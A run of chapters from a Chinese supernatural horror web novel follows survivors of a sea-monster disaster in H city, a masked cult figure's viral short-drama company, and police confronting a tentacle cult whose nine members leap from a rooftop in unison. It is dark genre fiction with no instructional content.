他饰演的上官海将“女主”逼至天台边缘,背景是暴雨倾盆。按照剧本,此刻应该有段深情告白
“你以为我在乎的是那块地?”上官海一把扯开衬衫,露出心口金色的印记——这是昨夜他又一次死里逃生,至尊显圣后,在他身上留下的敕令。
“王家在用活人血祭!你知不知道,之前与王家做竞争的商业对手,没一个有好下场,其中破产都算是结局好的,大部分是直接家破人亡!”
话音刚落,小西突然猛扑过来将他撞开。
剧本里,女主挣扎的戏码,实则是躲避远处射来的子.弹。
这一段做后期就行了,角色们只要表现出来这个动作。
“咔!完美!”林小雨激动地猛拍了下手掌,“就是这个感觉!”
傍晚收工后,林小雨一进墨菲斯的办公室,脸上自信的表情就被忧心取代:“老大,这种涉及宗教内容,且里面的神明还都是真实存在的剧,真能过审?你不会是想动用那种能力,忽悠审核吧?”
“我不是说这样做不好,咳,就是那什么,万一被发现”
坐在红实木办公桌后的墨菲斯鸟嘴面具转向窗外霓虹:“你知道我们为什么选择拍土味短剧吗?”
林小雨想了想,实诚的说道:“因为我们是草台班子,只能拍这种。”
墨菲斯透过落地窗的倒映,幽幽看了眼林小雨的身影:“你有没有调查过,最近全网播放量前十的短剧,六部都在影射真实超自然事件。”
说着,他拿起放在桌面上的平板操作了几下,随后翻转过来正对林小雨。
屏幕上,正在播放某平台热播剧《恐怖邻居》,弹幕密密麻麻飘过:
【这女邻居杀人的手法和B市今年就前几个月发生的随机杀人事件好像】
【第三集的小女孩好吓人!果然中式恐怖最恐怖的就是以小孩、女人为载体】
【没人说那个老大爷邻居吗,演员演的真好,那种粗看慈祥、细看森冷渗人的阴间味完美表现出来了,吓得我现在看到上了年纪且面目和善的老大爷都心头一紧!】
林小雨陷入沉思,眼神茫然。
是、是这样的吗?她怎么不知道这剧这么火?没听周围人说过啊。一般来说一部剧火不火,看周围人以及网络上会不会经常刷到就能知道。
如果能经常刷到、周围人也总说,那就是。
可这叫什么《恐怖邻居》的剧,没有火剧的标准“现况”啊。
莫非,老大说的是恐怖片里的火剧?那他们拍的《霸道总裁的落跑甜心》也不是恐怖片啊不对,里面有些剧情还挺吓人的,涉及到神啊鬼啊的也算是恐怖片?
“对了。”在林小雨发散思绪,把自己越搅越混乱时,墨菲斯突然说道,“可以加上我主的颂词,你知道的。”
林小雨回过神来:“好的。”
回去后便在剧本上添了段:【苍珥临霄,万象俯首;九重终灭,阒阴独尊】。
具体是什么意思林小雨最开始不明白,后来上网查阅后大概懂了。苍珥翻译为大白话就是苍天,万象是指宇宙内一切事物的总称,九重终焉意为拥有至高身份、且始终掌握这份权柄,阒阴首次出现在《太玄经》中,代表幽邃、黑暗。放在神明的尊号里,应该是说该神拥有统摄至阴的权力。
反正就是上天下地无所不能。
非常厉害。
***
时间回到上午八点。
H市灾后第二个小时。
安置点的板房区已经陆续有人醒来。
王秀芬坐在床边,手里攥着一张全家福——照片上,她的丈夫搂着女儿,站在H市滨海公园的摩天轮前,笑容灿烂。
然而现在,那里只剩下一片扭曲变形的钢筋废墟。
“妈”女儿小雅揉着眼睛坐起来,小手拽了拽她的衣角,“爸爸什么时候回来啊?”
王秀芬喉咙发紧,说不出话,忍着悲痛把女儿搂进怀里。
这时,隔壁床传来压抑的啜泣声。
是个六十多岁的老太太,正对着手机视频抹眼泪。视频里,一个小男孩奶声奶气的喊着“奶奶”,背景音还有叫着妈,看看你孙子的年轻男声,以及一道温柔的、让儿子不要在沙发上蹦蹦跳跳的女声
老太太儿子一家三口,全都没能逃出来。
上午九点,安置点食堂。
排队领早餐的队伍里弥漫着死气沉沉的气氛。突然,一个穿西装的男人摔了餐盘。
“就给我吃这个?!”他指着稀粥和馒头,眼球布满血丝,“我上千万的资产全没了!国家连顿像样的饭都供不起?”
志愿者赶紧解释:“物资运输还在”
“放屁!”男人一脚踢翻凳子,“要是早点预警,我至于——”
“你特么闭嘴吧!”后面穿工装的大叔一把揪住他的衣领,“老子亲眼看见当兵的为救人被活活绞成肉泥!你有钱了不起?有钱能买命?”
队伍骚动起来。有人小声嘀咕:“国家要是能预测诡异,早把全城人撤光了,我们又不是隔壁向往自由的欧国”
穿西装的男人脸色铁青,最终甩开大叔的手,扭头走了。
下午两点,重建指挥部。
“第七安置点还需要三百顶帐篷。”
“自来水厂修复进度滞后,临时供水车增加到十五辆。”
“心理干预小组报告,已有四例自杀倾向”
会议室里,投影仪映出H市卫星图:原本繁华的城区,现在像被巨兽啃过一样,缺了一大块——就是海中诡异上岸后接触过的那部分。
“最麻烦的是这个。”工程师调出海岸线画面,”海水污染指数超标一千三百多倍,所有海洋生物”
画面中,漆黑的海水如同粘稠的石油般翻涌。几条形态诡异的“鱼”飘浮在水面,却已经不能将其称之为正常的海洋生物:它们的身躯呈现出令人毛骨悚然的金属化变异。
最靠近镜头的那条鱼,原本应该是鱼鳃的位置,此刻被锈迹斑斑的钢筋贯穿。钢筋如同寄生生物般深深扎入鱼体,又从另一侧穿透而出,将整条鱼撑成了一个扭曲的“X”形。鱼眼部位镶嵌着螺母状的金属球,在阳光下反射出冰冷的光泽。
稍远处,一条体型膨胀了至少三倍的怪鱼正在缓慢下沉。它的鳞片已经完全被铁皮取代,腹部裂开一道锯齿状的缝隙,隐约可见内部齿轮状的骨骼结构。最骇人的是它的嘴部,原本柔软的鱼唇变成了两片锋利的铁片,不难让人想象开合间会发出“咔嗒咔嗒”金属碰撞的响声。
还有画面边缘,一个半融化的易拉罐仿佛被某种力量拉扯着与一条鱼的尾巴融合。铝制罐体如同活物般蠕动,慢慢包裹住鱼尾,形成一层金属与血肉交织的畸形外壳
正在所有人都被这一幕惊得沉默时,一条足有两米长的巨鱼骤然跃出水面。它的脊椎骨完全由链条构成,鱼腹处镶嵌着一块完好的汽车牌照,看开头有个救字,原先多半属于某辆救护车。
房间里鸦雀无声。
所有人都意识到一个可怕的事实:这片海域已然变成了一个“大熔炉”,正在以人类无法理解的方式,重塑其中的生命。
不知道人会不会
也不知道,范围会不会扩大
傍晚六点,临时医疗站。
“我不需要包扎!”
年轻男子推开护士,鲜血从断臂处汩汩流出。他的右臂是被变异自动售货机咬断的。
“先生!伤口会感染——”
“感染?”男子突然狂笑起来,“我老婆孩子都死了!我巴不得也去死!”
他踉跄着冲出门,很快消失在暮色中。护士沉默的皱紧双眉,这已经是今天的第七个。
深夜十一点半,安置点某无人的角落。
一个戴鸭舌帽的男人偷偷点燃蜡烛。烛光里,隐约可见他正在用自己破开的指腹沾着自己的血,在纸上画着什么。
“黑日尊者”他神经质的念叨着,“我献上自己作为祭品获得力量”
不远处,巡逻的武警突然停下脚步:“那边有火光!”
然而等他们赶到时,只看到一根融化了一半的蜡烛,以及一张烧焦的纸片
次日上午,安置点召开新闻发布。
“重建工作预计持续三年”
“已拦截十七起邪教传播事件”
“再次提醒民众,切勿接触可疑宗教物品”
镜头扫过台下记者,后排有个女记者突然举手:“请问那些说看见鸟嘴面具救人的幸存者”
发言人直接打断:“经查证,是创伤后应激障碍导致的集体幻觉。下一个——”
【作者有话说】
[撒花]
94 第 94 章
◎怎么倒霉的又是我!◎
朱德宏盯着卫星传回的画面, 手指无意识地敲击着桌面。
H市近海的那片水域在红外成像中呈现出诡异的橙红色,像一块正在溃烂的伤口。
“半径五海里内所有船只禁行。”他沉声说道, “调集三艘驱逐舰在外围巡逻,任何接近的物体都一律击沉。”
有人犹豫道:“那附近的渔民”
“你把渔民当傻子?看不见的危害他们可能会产生侥幸心理。但如今这种肉眼可见的危险,他们是疯了才敢不听警告胡来。”朱德宏打断他,“比起渔民,多注意境外势力。”
“是!”那人点头应道。
“朱主任,上头有人的意见是”秘书附身在朱德宏耳边小声汇报, “用混凝土沉箱把近海填平。”
朱德宏深吸一口气:“哪个白痴提出来的?往火山口扔沙子?”语毕,他起身走到窗前,“告诉研究院,尽量在48小时内做出一份“海洋变异化新概念熔炉效应报告”给我。”
2060年11月11日, 傍晚。
宴泠昭的手机振动了两下,原来是有人发来消息。点开一看, 是张教授。此时距离宴泠昭早上给张教授发去询问信息, 过去了将近十个小时。
【张教授:刚看到消息。不清楚海中诡异来历, 但可以确定的是全新等级,远超现在定义的S级。】
宴泠昭盯着屏幕,回了个:【它最后是被军方驱离的吗?】
张教授回复得很快:【早上6点自行消失的。非人为干预,所以下次出现时间未知。】
宴泠昭心情沉重。
这时, 某音推送突然弹出:#H市幸存者实录#
宴泠昭下意识点进去, 同时顺手打开评论区, 热评第一是:【下一个轮到谁?】后面跟着八万多条评中评:
【国家干什么吃的?】
【你行你上啊!导弹都打不动的玩意你的厚脸皮能打动!】
【如果是现实,我会说尽力了。但这是某音, 流行一个成年人不用武器便可以干死一头壮年老虎、人与人之间的体质不同, 有人能轻轻松松在水下憋气待一个晚上等等言论, 所以, 我的评价是:肺雾哈基米为什么不救人?果然是养不熟的白眼狼,自己跑的可快(憨笑.jpg)】
【神人,也是能看见有人网暴一只猫——但你说的没错,我的评价是蚂蚁为什么不救人?不能放过蚂蚁,建议一视同仁。】
宴泠昭:“”关掉app。
转头看向窗外,夕阳将整片天空浸染成瑰丽的霞红色,云层如同被打翻的颜料,从橙红渐变为深绛,在玻璃窗上投下变幻的光影。
宴泠昭不自觉放下握着手机的手,怔怔的望着天际。
在那绚烂的霞光中,他恍惚间好似看到了一抹异样的红艳得像血。
流动的云絮仿佛化作翻涌的血海,让他想起梦中那片沸腾的诡异海域;夕阳的余晖太过浓烈,几乎要将整个世界都浸泡在这片赤红之中。
宴泠昭的指尖无意识地收紧,在手机壳上留下一道浅浅的压痕。
***
安置点小学临时教室里。11岁的汪小星偷偷摸了摸藏在书包夹层的黑羽。
“今天我们画“最难忘的事”。”老师的声音从讲台上方传来。
其他孩子都在画房子、家人或者小动物,只有汪小星画了个戴鸟嘴面具的人。同桌凑过来,好奇的问:“这就是那个救了你的”
“嘘!”汪小星紧张地捂住他的嘴,“说好保密的!”
与此同时,后排两个女生正在传纸条:【你觉得羽毛能让我们飞吗?】
【不知道,但昨晚我梦见它发光了!】
【要不要滴血试试?动画片里都这么演的。】
***
安置区的板房在秋风中吱呀作响,班雅丹将最后一张折叠椅收进仓库,揉了揉发酸的腰。
一个月过去,H市的惨剧仍是人们茶余饭后的话题,只是讨论时的表情已经从最初的惊恐变成了麻木的疲惫。
“3号厅的矿泉水补一下!”远处有志愿者喊道。
班雅丹应了一声,动作利落地搬起水桶。
曾经是五星级酒店领班的她,如今穿着志愿者红马甲在安置点打杂,倒没觉得有什么心理落差——在这种时候,能有份工作糊口已经算幸运了。
走廊拐角处,几个年轻志愿者凑在一起盯着手机,时不时发出激动的笑声。
“上官总裁太帅了!”
“女主逃跑那段笑死我了,那个肌肉”
班雅丹推着水车经过时,隐约捕捉到几个关键词。这已经是今天第三次听到类似的对话了。她摇摇头,心想这群年轻人真是心大,这种时候还有心情追剧。
傍晚六点,安置点食堂。
班雅丹排队领晚餐时,前面两个中年妇女正热切的讨论着什么。
“我家闺女昨晚看到三点!”
“别说,那个总裁男主长得是真俊,就是女主”
班雅丹终于忍不住,上前问道:“你们说的是什么剧啊?”
烫着卷发的阿姨转身看向班雅丹,乐呵呵道:“就最近风很大的那个《霸道总裁的落跑甜心》啊!现在可火了!”说着她掏出手机,“你看哎!我闺女刚发朋友圈说更新了。”
屏幕上是张截图:一个西装革履的男人将穿连衣裙的壮汉壁咚在墙上,配文“啊啊啊这集太甜了!”
班雅丹抽了抽嘴角——这、这女主到底是男的女的?
打完饭,回到两人一间的安置房。室友还没回来。
班雅丹把领回的盒饭放在小桌上,盯着斑驳的墙壁发了会儿呆。窗外传来孩子们追逐打闹的声音,恍惚间让她想起灾前的生活。
“算了,看看那部据说很火的神剧吧”她摸出手机,输入剧名。
播放界面弹出时,班雅丹挑了挑眉:播放量显示3亿,弹幕密密麻麻得几乎看不清画面。
而在短暂的三秒黑屏后,漆黑的羽毛在屏幕上汇聚成“圣宗传媒”四个字。
***
圣宗传媒顶楼,香槟塔映照着众人兴奋的脸。
“庆祝我们播放量短短三周便破亿,如今更是高达三亿,平均下来一周一亿的增长量,除了那些个大明星大导演,敢问还有谁!”宣传部主管举着平板电脑大喊,“哈哈哈哈哈哈,热搜前十里咱们就占了三个!”
“火了!我们真的火了!”看得出来,宣传部主管已经高兴得疯了。
林小雨也很高兴,她拍了拍冉和平的肩:“冉叔!你知不知道自己现在被评为全网最帅大叔?!”
角落里,墨菲斯独自坐在烛光摇曳处。银质餐刀在他修长的手指间优雅地翻转,精准地切开五分熟的牛排,血色的肉汁沿着纹理缓缓渗出,却未在洁白的瓷盘上留下半点污渍;金属鸟喙在烛光下泛着寒光,每一次刀叉相碰都发出清脆的声响。
他的姿态从容得把现场衬托得像是维多利亚时期的贵族晚宴,大衣的褶皱在椅背上铺展如鸦羽,与周围喧嚣的人群形成鲜明对比。
就很优雅。
非常的优雅。
将最后一块牛排送入口中,餐刀在烛光下划出一道冷冽的弧线。墨菲斯抬手用餐巾擦拭嘴角,擦到一半,突然顿住。
“老板!”喝得酩酊大醉、暂时担任市场总监一职的闻国源踉跄着走过来,领带歪斜地挂在脖子上,眼睛兴奋得发亮,“下、下部剧,我们”
话没说完,墨菲斯的金属鸟喙缓缓转向他,镜片后的红色瞳孔深邃幽深。
闻国源的声音戛然而止——他感觉有什么冰冷的东西抵住了自己的喉咙。低头看去,是墨菲斯用切牛排的餐刀压在他的喉咙上。
“你身上有股好浓的臭味。”墨菲斯轻声说道,声音充满磁性。
闻国源的酒一下子就醒了,一脸懵逼的道:“臭?我、我昨天有洗澡啊我知道了,老板你是说酒臭吧。哈哈,不好意思”
墨菲斯没说话,只是用餐刀微微挑开闻国源的衣领,露出锁骨处一个形似三根缠绕在一起的触手的黑色纹身。
“有意思。”墨菲斯松开手,餐刀“叮”的一声落在盘中,“庆功宴结束后,来我办公室一趟。”
晚上八点。
宴会进入尾声。
墨菲斯早在一个小时前就离席了。而闻国源也自去找墨菲斯了一趟后回来,状态变得奇怪。
有人问他怎么了,闻国源打哈哈敷衍过去,再问就是酒喝多了,身体不舒服。
又过了一会,庆功宴彻底结束。
闻国源趁没人注意,偷偷离开。五分钟后,他站在总裁办公室门前踌躇不安,纠结了好几分钟,终于做好心理准备,抬手正想敲门,门缝下忽然渗出一缕缕黑雾,宛如有生命般缠绕上他的手腕,接着,一道优雅的声音从屋内传出:
“进。”
门自动开了。
要不是知道自家老板身怀特异能力,闻国源此时恐怕已经吓得转身逃跑了。不过尽管心里有数,他也还是紧张,毕竟感觉老板叫他来不是因为好事。
办公室内没有开灯,唯有月光透过落地窗带来一线光亮,也将墨菲斯的身影拉长到扭曲。他背对着门坐在办公桌前,手上正翻阅着一本皮质封面的书。书页翻动间隐约可见暗红色的字迹在蠕动。
“老、老板”闻国源的嗓子干得发疼。
墨菲斯头也不抬地打了个响指。闻国源锁骨处的纹身便倏然灼烧般剧烈疼痛起来。
闻国源“嘶”的倒抽了一口凉气,条件反射抬手捂住疼痛处。
“改信了?”金属鸟喙缓缓转向他,语气幽幽,“还是信的我们的敌人。”
一股恐怖的威压从墨菲斯身上传来,压得闻国源双膝重重砸在地面,脸色瞬间变得惨白。他浑身剧烈颤抖着,仿佛突然被抽走了所有力气。
“我我”他的声音支离破碎,冷汗浸透了西装。
记忆如潮水般涌来——
他想起那个在路上遇到的模糊身影、明明就存在于记忆里,却怎么都看不清面容那人说了什么?又做了什么?通通不记得,只记得自己像提线木偶般言听计从,整个人浑浑噩噩,如同行尸走肉。
直到此刻,在墨菲斯那如有实质的压迫之下,他的神智才如拨云见日般彻底清明。冷汗瞬间浸透了后背,强烈的恐惧感攫住了他的心脏。
“老板!救我!我——”他声音沙哑的喊道。
墨菲斯打断他,语气温和:“嗯,别担心,我知道你是无辜的,不是出自本意。”说着,他前一秒还坐在办公桌前,后一秒就站在了闻国源面前,修长的手指轻轻点在他锁骨的黑色纹身上。
霎时,闻国源感到一阵撕心裂肺的剧痛。他看不到自己的触手纹身在他皮肤下疯狂扭动。而墨菲斯的手指就像一把锋利的手术刀,精准的将每一根深入血肉的黑色丝线、或者说触手,剥离出来。
“啊——!”痛到极致,闻国源发出凄厉的惨叫。那种痛楚仿佛灵魂正在被一寸寸撕裂,他的视线开始模糊,却清晰的看到墨菲斯手中银光一闪,然后一团黑烟被从他身体里“揪”出来,在空气中扭曲挣扎,最终化为灰烬。
当最后一缕黑烟消散,闻国源瘫软在地,大口喘着粗气,眼角流下劫后余生的泪水。
此时此刻,他多想仰天悲愤控诉:怎么倒霉的又是我!
【作者有话说】
[撒花]
95 第 95 章
◎“为了尊者”◎
事实证明, 没有最倒霉,只有更倒霉。
闻国源痛定思痛, 暗暗发誓,等这茬过去一定要找个黄道吉日,去城郊最灵的那家寺庙好好拜拜,去去这一身晦气。
“所以,老大,我这是中招了?”闻国源小心翼翼的问道, 声音因为疼痛而微微发颤。
事实上,要不是怕墨菲斯嫌他烦,闻国源真想问个明白,譬如他到底是怎么中的招?对方用的什么路数?以后要是再遇到这种情况, 有没有预防的法子等等。
墨菲斯漫不经心地搓了搓指腹,面具在灯光下泛着冷光:“显而易见。不过问题不大, 我已经帮你处理干净了。”他顿了顿, 语气突然变得意味深长, “你这件事倒是给我提了个醒好了,你先回去休息吧,明天起来可能会觉得身体特别难受,这都是正常现象。给你放两天假, 明后两天不用来公司了。”
闻国源龇牙咧嘴的应了声“是”, 强撑着从地上爬起来。
倒不是他故意做怪相, 实在是全身每一块肌肉都在抗议——墨菲斯说什么“明天醒来(才)会难受”,可他现在就已经难受得想哭了。
这感觉怎么形容呢?非要说的话, 就像去健身房练了一天腿, 事后那种腿不属于自己、不想活了的酸爽感。
而他此时此刻的感觉更甚, 是从脖颈到脚趾, 浑身上下没有一处不疼。要不是在墨菲斯面前得维持形象,他早就瘫在地上哀嚎了。
“那我先走了,老板。”闻国源强装镇静的说道,却几乎是靠挪离开的办公室
办公室房门关上的那一刻,闻国源的表情开始狰狞,初见端倪。
等电梯的几分钟简直度秒如年。好不容易熬到地下停车场,闻国源颤巍巍的找到自己的车,拿出车钥匙解锁,然后开门,扑进自己的车里。
车门一关,他立刻“原形毕露”——
“哎呦喂嘶卧槽”他像只狒狒一样在驾驶座上扭来扭去,额头上的青筋都暴出来了。双腿不受控制地抽搐,带动着整辆车都在轻微晃动。
十分钟后。电梯门“叮”的一声再次打开。
“所以明天的拍摄计划”林小雨正说着话,突然顿住脚步,眼睛瞪得溜圆。
冉和平和小西顺着她的目光看去,只见不远处一辆桑塔纳正在有规律地震动。
三人:“”
林小雨眨了眨眼,兴奋的说道:“额滴娘咧!我倒要看看是谁这么不要脸!”她嘴上义正言辞,脚下飞快地朝那辆桑塔纳走去,同时给自己找补:“光天化日之下不对,大晚上的在停车场干这种事!这可是公共场合!既然他们都有脸做出这种事,那就别怪我厚脸皮了!”
幸好桑塔纳贴的不是防窥膜,林小雨把脸贴在车窗上,努力往里面看,还真看到里面有人影在晃动。
小西见状也来了兴致,蹑手蹑脚地凑到另一侧车窗。
冉和平在原地挣扎了两秒,最终也加入了吃瓜行列。
车内,闻国源正痛得“昂昂”直叫,突然看见三张熟悉的面庞贴在车窗上,六只眼睛一眨不眨的盯着自己。
“”
这一刻,闻国源领悟到了什么叫做生不如死。
林小雨终于看清了车内人的样子,惊呼道:“卧槽!老闻你没想到啊!你居然是这种人!”
小西皱眉:“林姐,车里好像只有一个人。等等,这人是在抽搐?”
冉和平猛的反应过来:“坏了,该不会是癫痫发作吧?!”
闻国源听着外面此起彼伏的惊呼声,绝望的闭上了眼睛。他现在只希望地面能裂开条缝,好让他钻进去永远不出来。
***
窗外的雨已经淅淅沥沥连续下了三天。
宴泠昭靠在沙发上,百无聊赖地按着遥控器。
电视屏幕上的新闻频道循环播放着H市重建的最新进展——工程机械在废墟间穿梭,工人们戴着防毒面具作业,远处被封锁的海岸线在雨中显得模糊而阴郁。
这是他足不出户的第三十二天。
不是他不想做些什么。事实上,他先后联系过张教授和朱德宏,询问是否有需要自己参与的任务。
张教授的回复永远千篇一律:【我这里都是搞研究的,没有适合你的工作不过你可以专心研究一下光团】;朱德宏的回复则更加直白:【最近局势不稳,安全起见,你最好待在家里别乱跑。万一被盯上很麻烦,你情况又特殊】
张教授说的没问题,他确实干不了科研的话。但朱德宏那边只能说宴泠昭理解朱德宏的顾虑。
H市近海那片被污染的水域,连诡异都会遭到感染变异,他去了确实未必能起到什么作用。可理解归理解,如果可以,他还是想出些力。
手机突然振动了一下。是某APP推送的H市灾民安置最新报道。
宴泠昭点开看了看,大部分幸存者选择永久迁离,政府在其他城市新建的安置小区入住率过半。
评论区里,一条高赞留言格外刺眼:【傻子才回H市,谁知道那个吓死人的诡异什么时候卷土重来。除非政府能将其完全消灭。】
嗯这是个非常现实的问题。
正走着神,厨房传来“叮”的一道响声。
手机鬼放下平板飘过去,用半透明的鬼手从微波炉里取出加热好的自热速食米饭,扭头看向客厅方向,提高音量道:
“你真不吃?”
“不吃。”
再次确认宴泠昭不吃,手机鬼这才眯着眼睛开动了。
呜呜,还是人饭香!以前还要担心长胖,现在完全没有这个负担,想吃什么吃什么,爽!
以及
手机鬼偷偷看了眼宴泠昭,青年的侧面也很好看,可以说整张脸三百六十度无死角的帅。
将盛满饭菜的勺子塞进嘴里,手机鬼在心里默默羡慕。
他要也能长得这么帅就好了。
咳,差点跑题了!以及——幸好被宴泠昭“收编”了,没复活前他满心都是后悔,恨自己为什么要招惹这个魔鬼。复活后嘛完全清醒的理智,和生前没什么两样。除了没肉.体,别的什么都有,他超满足的!
另一边,完全不知道手机鬼所想的宴泠昭目不转睛的盯着电视,屏幕里,记者正在采访一位确定搬离H市的母亲:“孩子的学校国家已经帮我们联系好了。虽然要重新开始,但至少”女人的声音哽咽了一下,“至少不用每天提心吊胆。”
宴泠昭关掉电视。房间里顿时只剩下雨滴敲打窗户的声音。他走到阳台,望着远处阴云密布的天空。
H市就在那个方向,直线距离大约八百公里。
手指无意识地凝聚出一团白光。
这一个月来,宴泠昭对光团的掌控确实精进了不少,但比起H市那个连现实已经存在的物体都能扭曲的诡异,这些进步显得如此微不足道。
这时手机突然响了下。是朱德宏发来的加密文件,标题是《H市海域监测周报》。
宴泠昭点开看了看:被污染海域扩大了0.3平方公里,海水中的未知物质浓度上升了15%
文件最后附了一行手写体备注:【仅供了解,勿外传】。
宴泠昭垂下眼眸,情绪略有些失落。这就是他现在的处境——足够重要到能接触机密,却又被排除在行动之外。
虽然他知道这是为了保护他的安全。
宴泠昭心里揣着事,手机鬼什么时候拿走遥控器、换了台,都不知道。直到一句尬的人脚趾扣地的台词响起:“女人,你这是在玩火。”宴泠昭才回过神,涣散的眼瞳恢复焦距,然后定睛一看,新闻变成了电视剧,右边居中的位置写着剧名:《霸道总裁的落跑甜心》
“”?
宴泠昭看向端着碗坐在沙发上看得津津有味的手机鬼,闭着眼睛吸了口气。
有时候还是觉得复活前那个怕他的手机鬼好。
眼不见心不烦。宴泠昭转头望向窗外,雨好像下的更大了
上午十点,玉树路派出所。
“警察同志,我朋友最近真的很不对劲!”
年轻女孩攥着手机,指节发白。值班民警老张给她倒了杯热水,示意她慢慢说。
“小雯她她以前最讨厌封建迷信。”女孩声音发抖,“可上周开始,她突然整天念叨什么尊者赐福,还在家里摆了个诡异的祭坛!”
老张的笔尖在记录本上顿了顿,表情严肃了一瞬,怕吓到女孩,很快又恢复了平静,面不改色的道:“你继续说”
上午十一点,刑侦支队办公室。
投影仪上放出的是一栋居民楼的平面图。
技术人员推了推眼镜:“玉树路44号绿湖小区2单元1302,一层四户,房型”
大致介绍完毕,陈队拍案而起:“二队三队,立即行动!”
十一点五十八分。绿湖小区2单元1302。
破门锤撞开1302室防盗门的瞬间,一股奇异的香味扑面而来。
客厅中央,一个装满黄纸的铁盆里的黄纸还在燃烧。经验老到的黄警官凑近感受了一下,说:“撤离不超过十分钟。”
与此同时,另外几人打开卧室房门,入眼就见墙上用血画着三根纠缠在一起的触手的图案,底下摆着三个倒扣的瓷碗。刑侦专家小心掀开其中一个——碗底粘着片带血的指甲,周围爬满米粒大小的白虫。
“操!”年轻警员踢翻了脚边的塑料桶,黑红液体汩汩流出。
厨房。
冰箱门被打开,冷藏格里整整齐齐码着十三个玻璃罐。法医只看了一眼就脸色大变——每个罐子里都漂浮着人类的手指,且指尖统一朝向一个方向。
那是B市的方位。
或者,更准确的说,宴泠昭缩在的方位。
“搜查令范围扩大到整栋楼!”陈队对对讲机说道。
话音未落,头顶突然传来“咚”的一声闷响,接着是杂乱的脚步声。
十二点十三分,顶楼天台。
大敞的门口像一张狰狞的嘴。九道身影静静伫立在天台边缘,其中有男有女,有老有少。他们互相牵着手,脚尖已经悬在了半空。
最先冲上来的武警王家卫猛地刹住脚步,瞳孔骤缩。他看到最左边是个穿高中校服的女生,马尾辫在风中摇晃,旁边是佝偻着背的老太太最中间那个是个西装革履的中年男人最右边的,还是个小孩,背着卡通书包。
王家卫全身僵硬,怕说话吓到他们,害他们掉下楼,也怕刺激到他们,主动跳楼。正纠结该怎么办时,九个人同时回头。
王家卫看到了他们脸上平静得渗人的表情,接着他们的嘴角同时上扬完全相同的弧度,令人毛骨悚然。
最后——“为了尊者。”
整齐划一的声音响起,九道身影如同提线木偶般向前倾倒。
“砰!”
闷响从楼下传来。
下一秒,尖叫声划破空气。
附近遛狗的女人瘫坐在地,泰迪犬对着四溅的血花狂吠。
七楼晾衣杆上,一件白衬衫缓缓飘落,盖住了老太太那半个脑袋都摔碎了,也仍带着微笑的脸。
【作者有话说】
[撒花]
96 第 96 章
◎黑日教,邪神◎
12月15日, 上午九点。
窗外飘着细雪,宴泠昭坐在电脑前, 盯着屏幕上的文档。
《诡异降临》第十章,共计8971字。
最后一段:【人们喜极而泣,欢呼雀跃。却不知道消散的诡异并未如他们所想真的彻底消散,而是有一部分悄然附着在了一个小女孩身上。】
盯着看了两分钟,宴泠昭控制鼠标全文复制,然后粘贴到作者后台, 点击发布。
看着【上传成功】四个字,宴泠昭合上了笔记本电脑——最近他新买了台笔记本,且喜欢抱着它坐在客厅沙发上写文。
“写完了?”手机鬼听见动静抬头看了眼,见宴泠昭关电脑, 顺口问了句。
“嗯。”将电脑放到桌上,宴泠昭站起身, 走到窗边, 往外看。
路上、树上、花坛里到处都铺满了白色的“棉絮”, 整个世界都仿佛变成了白茫茫的一片。
距离H市的灾难已经过去一个多月,新闻里每天都在滚动播放重建进度:今天海岸边拉起了三重警戒线,穿着防护服的工作人员在采集样本。镜头扫过那些被污染的海洋生物——鱼类的鳞片下嵌着金属,螃蟹的钳子变成了齿轮一切都被扭曲得不合常理。
而他, 仍然无事可做。
何爷爷这时端着热茶走过来, “喝点?”
宴泠昭回过神, 礼貌的说了声谢谢,然后托着杯子轻抿了一口。再度抬眼, 楼下多了好些个身影, 他们一个个手拿铲子或其它工具, 将路面上的积雪推开。
B市3个S级诡异造成的惨剧距今已有两个多月, 那些牺牲的士兵死后变成诡异住在小区也有两个多月。
他们看上去与生前相比没有什么不同,正常的不得了,要不说他们是鬼,根本看不出来,与复活后的八鬼状态差不多。加上双方还真差不多是同一时刻的“产物”,说不定致使他们变成诡异/复活的力量是同一个。
宴泠昭控制不住的发散思绪,突然,手机响了,拿起一看,是朱德宏的电话。
接通。
“宴泠昭。”电话那头的声音很平和,但语速相较平时快了两分,“现在有空吗?”
“有,怎么了?”
“出了点状况近日有个十分猖狂的邪.教派出武警九个邪教徒跳楼形成了鬼域派去的两支武警小队全部失联。”朱德宏语气沉重,“你知道的,有鬼域,说明里面至少存在一个S级的大鬼。我们虽然能用导弹轰,但位置在市区,容易牵连附近的人所以,需要用到你的力量。”
宴泠昭自然立刻答应了下来,一边换衣服,一边问:“那个邪.教是什么情况?”
“黑日教,信奉的神明叫“黑日尊者”,图腾是三根缠绕的黑色触手。最初我们以为就是个趁乱骗钱的邪教,甚至怀疑过境外势力在背后操控。”
说到这,朱德宏的语气沉下来:“但现在基本可以确定,这个黑日尊者是真实存在的。其信徒确实获得了力量:肢体异变、伤口自愈、以及别的稀奇古怪的能力。这绝不是普通诡异能做到的。或者说,就不是诡异能做到的。”
电话那头传来纸张翻动的声音:“最麻烦的是,黑日尊者的力量好像会通过信徒的献祭不断变强。上周还能用常规手段控制的信徒,这周就需要特殊收容了。”
朱德宏吸了口气,“张教授那边还发现,信徒体内有寄生体,寄生体的样子与之前G市的寄生诡异基本相似,但寄生体不会吸取宿主的生命,反而会为寄生体提供力量,那些信徒所使用的“超能力”,就是寄生体在其中作用的。”
“不过这并不代表寄生体对人就是没有危害的了,看那些信徒狂热、疯癫的样子就明白了。”
“——简单来说。”朱德宏停了下,语气十分严肃:“我们所面对的,很大概率是尊邪神。”
宴泠昭:“称号?”
“不,就是你听到的那样。”朱德宏,“这也是我们最近才确认的。上次出现在海上的那个诡异,也不是诡异。它大概率与黑日尊者有关,论据是两者的外型具有一定相似度。这也与我之前的一个猜测对上了。”
“海上的那个,很可能是黑日尊者的一个分身。”
朱德宏没有再说下去,似乎在组织语言,过了几秒钟才接着说道:“之所以称其为神,是因为它所展现的力量完全颠覆了人类目前已知的所有物理法则。而诡异再强,也还在人类理解的范畴内,但它”
就像月神和日神。
目前已知月神和宴泠昭有关,日神也在宴泠昭所写的故事系列《寄生》中有提到,不过人全名不叫这个,叫蚀日。但发没发现,都有个日字。
而这次出现的新邪教,也有个日字。要说这仨没关系朱德宏是绝对不信的。
或许就是月神操控宴泠昭,留下有关日神的消息,提醒他们去解决日神——
回过神来,朱德宏叹了口气:“之前没告诉你,一是我们自己也还在验证,二是”他苦笑一声,“你也知道这阵子我忙得脚不沾地。现在趁着这个空档,正好把掌握的情况都告诉你。”
这可真是打开了他新世界的大门。原来世界上真的有神,不过想想人类对神明的定义,放在现实里,好像也不奇怪。
